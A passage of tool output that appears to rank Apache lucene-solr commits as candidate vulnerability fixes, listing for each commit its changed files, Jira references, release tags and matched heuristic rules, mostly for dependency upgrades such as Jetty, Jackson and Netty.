"message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java", - "relevance": 8 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-15694", - "relevance": 2 - } - ] - }, - { - "commit_id": "e7560cd2ab024d4315933cd3965aab2961bba994", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1697029674, - "hunks": 60, - "message": "SOLR-17025: Upgrade Jetty to 9.4.53.v20231009 (#2680)", - "changed_files": [ - "lucene/ivy-versions.properties", - "lucene/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1", - "lucene/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1", - "lucene/licenses/jetty-http-9.4.48.v20220622.jar.sha1", - "lucene/licenses/jetty-http-9.4.53.v20231009.jar.sha1", - "lucene/licenses/jetty-io-9.4.48.v20220622.jar.sha1", - "lucene/licenses/jetty-io-9.4.53.v20231009.jar.sha1", - "lucene/licenses/jetty-server-9.4.48.v20220622.jar.sha1", - "lucene/licenses/jetty-server-9.4.53.v20231009.jar.sha1", - "lucene/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1", - "lucene/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1", - "lucene/licenses/jetty-util-9.4.48.v20220622.jar.sha1", - "lucene/licenses/jetty-util-9.4.53.v20231009.jar.sha1", - "solr/licenses/http2-client-9.4.48.v20220622.jar.sha1", - "solr/licenses/http2-client-9.4.53.v20231009.jar.sha1", - "solr/licenses/http2-common-9.4.48.v20220622.jar.sha1", - "solr/licenses/http2-common-9.4.53.v20231009.jar.sha1", - "solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1", - "solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1", - "solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1", - "solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1", - "solr/licenses/http2-server-9.4.48.v20220622.jar.sha1", - "solr/licenses/http2-server-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1", - "solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1", - "solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1", - "solr/licenses/start.jar.sha1" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-17025": "Keeping branch_8_11 up to date w/ the latest Jetty 9.4.53 Upgrade to Jetty 9.4.53 on branch_8_11 https://github.com/apache/lucene-solr/pull/2680 Commit e7560cd2ab024d4315933cd3965aab2961bba994 in lucene-solr's branch refs/heads/branch_8_11 from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=e7560cd2ab0 ] SOLR-17025 : Upgrade Jetty to 9.4.53.v20231009 (#2680) Closing after the 8.11.3 release" - }, - "ghissue_refs": { - "2680": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1, solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1, solr/licenses/http2-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1, solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1, solr/licenses/start.jar.sha1, solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1, solr/licenses/http2-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1, solr/licenses/http2-common-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-common-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: upgrade", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version, server", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-17025", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 2680", - "relevance": 2 - } - ] - }, - { - "commit_id": "3cf0a5501084c9e3d0e53657a20477007f33755a", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698690763, - "hunks": 88, - "message": "Upgrade dependencies to address more CVEs (#2681) Upgrade the following dependencies: |dependency|old|new| |-------------|---|---| |ant|1.8.2|1.10.14| |randomizedtesting|2.7.2|2.8.1| |calcite|1.32.0|1.35.0| |calcite avatica|1.22.0|1.23.0| |aws java sdk|1.12.42|1.12.565| |caffeine|2.9.2|2.9.3| |hadoop|3.2.2|3.2.4| |jackson|2.13.5|2.15.2| |netty|4.1.87|4.1.99| |woodstox-core|6.5.0|6.5.1|", - "changed_files": [ - "lucene/ivy-versions.properties", - "lucene/licenses/ant-1.10.14.jar.sha1", - "lucene/licenses/ant-1.8.2.jar.sha1", - "lucene/licenses/randomizedtesting-runner-2.7.2.jar.sha1", - "lucene/licenses/randomizedtesting-runner-2.8.1.jar.sha1", - "solr/licenses/ant-1.10.14.jar.sha1", - "solr/licenses/ant-1.8.2.jar.sha1", - "solr/licenses/avatica-core-1.22.0.jar.sha1", - "solr/licenses/avatica-core-1.23.0.jar.sha1", - "solr/licenses/avatica-metrics-1.22.0.jar.sha1", - "solr/licenses/avatica-metrics-1.23.0.jar.sha1", - "solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1", - "solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1", - "solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1", - "solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1", - "solr/licenses/caffeine-2.9.2.jar.sha1", - "solr/licenses/caffeine-2.9.3.jar.sha1", - "solr/licenses/calcite-core-1.32.0.jar.sha1", - "solr/licenses/calcite-core-1.35.0.jar.sha1", - "solr/licenses/calcite-linq4j-1.32.0.jar.sha1", - "solr/licenses/calcite-linq4j-1.35.0.jar.sha1", - "solr/licenses/hadoop-annotations-3.2.2.jar.sha1", - "solr/licenses/hadoop-annotations-3.2.4.jar.sha1", - "solr/licenses/hadoop-auth-3.2.2.jar.sha1", - "solr/licenses/hadoop-auth-3.2.4.jar.sha1", - "solr/licenses/hadoop-common-3.2.2-tests.jar.sha1", - "solr/licenses/hadoop-common-3.2.2.jar.sha1", - "solr/licenses/hadoop-common-3.2.4-tests.jar.sha1", - "solr/licenses/hadoop-common-3.2.4.jar.sha1", - "solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1", - "solr/licenses/hadoop-hdfs-3.2.2.jar.sha1", - "solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1", - "solr/licenses/hadoop-hdfs-3.2.4.jar.sha1", - "solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1", - "solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1", - "solr/licenses/hadoop-minicluster-3.2.2.jar.sha1", - "solr/licenses/hadoop-minicluster-3.2.4.jar.sha1", - "solr/licenses/hadoop-minikdc-3.2.2.jar.sha1", - "solr/licenses/hadoop-minikdc-3.2.4.jar.sha1", - "solr/licenses/jackson-annotations-2.13.5.jar.sha1", - "solr/licenses/jackson-annotations-2.15.2.jar.sha1", - "solr/licenses/jackson-core-2.13.5.jar.sha1", - "solr/licenses/jackson-core-2.15.2.jar.sha1", - "solr/licenses/jackson-databind-2.13.5.jar.sha1", - "solr/licenses/jackson-databind-2.15.2.jar.sha1", - "solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1", - "solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1", - "solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1", - "solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1", - "solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1", - "solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1", - "solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1", - "solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1", - "solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1", - "solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1", - "solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1", - "solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1", - "solr/licenses/junit4-ant-2.7.2.jar.sha1", - "solr/licenses/junit4-ant-2.8.1.jar.sha1", - "solr/licenses/netty-all-4.1.87.Final.jar.sha1", - "solr/licenses/netty-all-4.1.99.Final.jar.sha1", - "solr/licenses/netty-buffer-4.1.87.Final.jar.sha1", - "solr/licenses/netty-buffer-4.1.99.Final.jar.sha1", - "solr/licenses/netty-codec-4.1.87.Final.jar.sha1", - "solr/licenses/netty-codec-4.1.99.Final.jar.sha1", - "solr/licenses/netty-common-4.1.87.Final.jar.sha1", - "solr/licenses/netty-common-4.1.99.Final.jar.sha1", - "solr/licenses/netty-handler-4.1.87.Final.jar.sha1", - "solr/licenses/netty-handler-4.1.99.Final.jar.sha1", - "solr/licenses/netty-resolver-4.1.87.Final.jar.sha1", - "solr/licenses/netty-resolver-4.1.99.Final.jar.sha1", - "solr/licenses/netty-transport-4.1.87.Final.jar.sha1", - "solr/licenses/netty-transport-4.1.99.Final.jar.sha1", - "solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1", - "solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1", - "solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1", - "solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1", - "solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1", - "solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1", - "solr/licenses/woodstox-core-6.5.0.jar.sha1", - "solr/licenses/woodstox-core-6.5.1.jar.sha1" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "2681": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1, solr/licenses/hadoop-common-3.2.2.jar.sha1, solr/licenses/netty-handler-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1, solr/licenses/netty-buffer-4.1.99.Final.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-databind-2.15.2.jar.sha1, solr/licenses/hadoop-minicluster-3.2.4.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-core-2.15.2.jar.sha1, solr/licenses/calcite-core-1.35.0.jar.sha1, solr/licenses/hadoop-common-3.2.2-tests.jar.sha1, solr/licenses/jackson-annotations-2.15.2.jar.sha1, solr/licenses/hadoop-auth-3.2.4.jar.sha1, solr/licenses/hadoop-minikdc-3.2.2.jar.sha1, solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1, solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.87.Final.jar.sha1, solr/licenses/ant-1.8.2.jar.sha1, solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1, solr/licenses/hadoop-auth-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1, solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1, solr/licenses/netty-all-4.1.87.Final.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1, solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.99.Final.jar.sha1, solr/licenses/avatica-core-1.23.0.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/ant-1.10.14.jar.sha1, solr/licenses/avatica-core-1.22.0.jar.sha1, solr/licenses/hadoop-minikdc-3.2.4.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/junit4-ant-2.8.1.jar.sha1, solr/licenses/netty-common-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.99.Final.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.4.jar.sha1, solr/licenses/junit4-ant-2.7.2.jar.sha1, solr/licenses/caffeine-2.9.2.jar.sha1, solr/licenses/woodstox-core-6.5.1.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1, solr/licenses/hadoop-common-3.2.4.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1, solr/licenses/netty-handler-4.1.99.Final.jar.sha1, solr/licenses/calcite-core-1.32.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1, solr/licenses/netty-all-4.1.99.Final.jar.sha1, solr/licenses/calcite-linq4j-1.35.0.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1, solr/licenses/netty-codec-4.1.87.Final.jar.sha1, solr/licenses/netty-buffer-4.1.87.Final.jar.sha1, solr/licenses/avatica-metrics-1.22.0.jar.sha1, solr/licenses/avatica-metrics-1.23.0.jar.sha1, solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1, solr/licenses/netty-codec-4.1.99.Final.jar.sha1, solr/licenses/caffeine-2.9.3.jar.sha1, solr/licenses/hadoop-minicluster-3.2.2.jar.sha1, solr/licenses/hadoop-common-3.2.4-tests.jar.sha1, solr/licenses/calcite-linq4j-1.32.0.jar.sha1, solr/licenses/netty-common-4.1.99.Final.jar.sha1, solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: address, upgrade", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version, handler, parameter", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 2681", - "relevance": 2 - } - ] - }, - { - "commit_id": "a442489af3c665e1d87c38bef1b5864dd48129a7", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698645339, - "hunks": 8, - "message": "Some PRS fixes ported (addressing test failures with PRS)", - "changed_files": [ - "solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java", - "solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java", - "solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: address", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler, provide", - "relevance": 4 - } - ] - }, - { - "commit_id": "962c926010635356ea778374e1fad5e40f0b46be", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698088228, - "hunks": 46, - "message": "Miscellaneous PRS fixes, backported from 9.x Co-authored-by: Noble Paul ", - "changed_files": [ - "solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java", - "solr/core/src/java/org/apache/solr/cloud/ZkController.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", - "solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java", - "solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java", - "solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This, SolrCloud, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/java/org/apache/solr/cloud/ZkController.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java, solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java, solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java", - "relevance": 8 - } - ] - }, - { - "commit_id": "32b6d4cebb9644318de6c542c0fb2e2dbf070f00", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698085229, - "hunks": 38, - "message": "Upgrade dependencies to address outstanding CVEs google-oauth-client\t1.32.1 -> 1.32.3 guava\t\t\t31.1 -> 32.1.3 hsqldb\t\t\t2.4.0 -> 2.7.1 jackson-*\t\t2.13.3 -> 2.13.5 protobuf-java\t\t3.11.0 -> 3.15.0 protobuf-java-util\t3.11.0 -> 3.15.0 snappy-java\t\t1.1.7.6 -> 1.1.10.1 woodstox-core\t\t6.2.4 -> 6.4.0 Co-authored-by: Jamie Jackson ", - "changed_files": [ - "lucene/ivy-versions.properties", - "solr/licenses/google-oauth-client-1.32.1.jar.sha1", - "solr/licenses/google-oauth-client-1.33.3.jar.sha1", - "solr/licenses/guava-31.1-jre.jar.sha1", - "solr/licenses/guava-32.1.3-jre.jar.sha1", - "solr/licenses/hsqldb-2.4.0.jar.sha1", - "solr/licenses/hsqldb-2.7.1.jar.sha1", - "solr/licenses/jackson-annotations-2.13.3.jar.sha1", - "solr/licenses/jackson-annotations-2.13.5.jar.sha1", - "solr/licenses/jackson-core-2.13.3.jar.sha1", - "solr/licenses/jackson-core-2.13.5.jar.sha1", - "solr/licenses/jackson-databind-2.13.3.jar.sha1", - "solr/licenses/jackson-databind-2.13.5.jar.sha1", - "solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1", - "solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1", - "solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1", - "solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1", - "solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1", - "solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1", - "solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1", - "solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1", - "solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1", - "solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1", - "solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1", - "solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1", - "solr/licenses/protobuf-java-3.11.0.jar.sha1", - "solr/licenses/protobuf-java-3.15.0.jar.sha1", - "solr/licenses/protobuf-java-util-3.11.0.jar.sha1", - "solr/licenses/protobuf-java-util-3.15.0.jar.sha1", - "solr/licenses/snappy-java-1.1.10.1.jar.sha1", - "solr/licenses/snappy-java-1.1.7.6.jar.sha1", - "solr/licenses/woodstox-core-6.2.4.jar.sha1", - "solr/licenses/woodstox-core-6.4.0.jar.sha1" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/licenses/guava-31.1-jre.jar.sha1, solr/licenses/google-oauth-client-1.32.1.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1, solr/licenses/snappy-java-1.1.7.6.jar.sha1, solr/licenses/protobuf-java-util-3.11.0.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/google-oauth-client-1.33.3.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/jackson-core-2.13.3.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/guava-32.1.3-jre.jar.sha1, solr/licenses/snappy-java-1.1.10.1.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.2.4.jar.sha1, solr/licenses/protobuf-java-3.11.0.jar.sha1, solr/licenses/protobuf-java-util-3.15.0.jar.sha1, solr/licenses/jackson-annotations-2.13.3.jar.sha1, solr/licenses/protobuf-java-3.15.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1, solr/licenses/jackson-databind-2.13.3.jar.sha1, solr/licenses/hsqldb-2.4.0.jar.sha1, solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: address, upgrade", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version, parameter", - "relevance": 4 - } - ] - }, - { - "commit_id": "9cd588e028a2fed65b18e8318394222801ce6d9b", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1697810697, - "hunks": 1, - "message": "Use refid in jetty.xml for RewriteHandler", - "changed_files": [ - "solr/server/etc/jetty.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/server/etc/jetty.xml", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: handler", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: server", - "relevance": 4 - } - ] - }, - { - "commit_id": "69b9aed4cd1e7544d5c25b476e1cff1d19b2b2c2", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1665986021, - "hunks": 2, - "message": "SOLR-16452 : do not update PRS state if the local version is newer", - "changed_files": [ - "solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16452": "Here we have equal check for zk node version https://github.com/apache/solr/blob/19f109842fb34069346a9efb21cf01b6706830a8/solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java#L149 it should be greator than from local version Keep prs state of latest version CCing noblepaul ishan Commit 157c2caaed7e62141af56518ac7b4a524df24b6e in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=157c2caaed7 ] SOLR-16452 : do not update PRS state if the local version is newer Commit 32b6943c143371f5c34d817e9bda33e8a09b5a96 in solr's branch refs/heads/branch_9x from Noble Paul [ 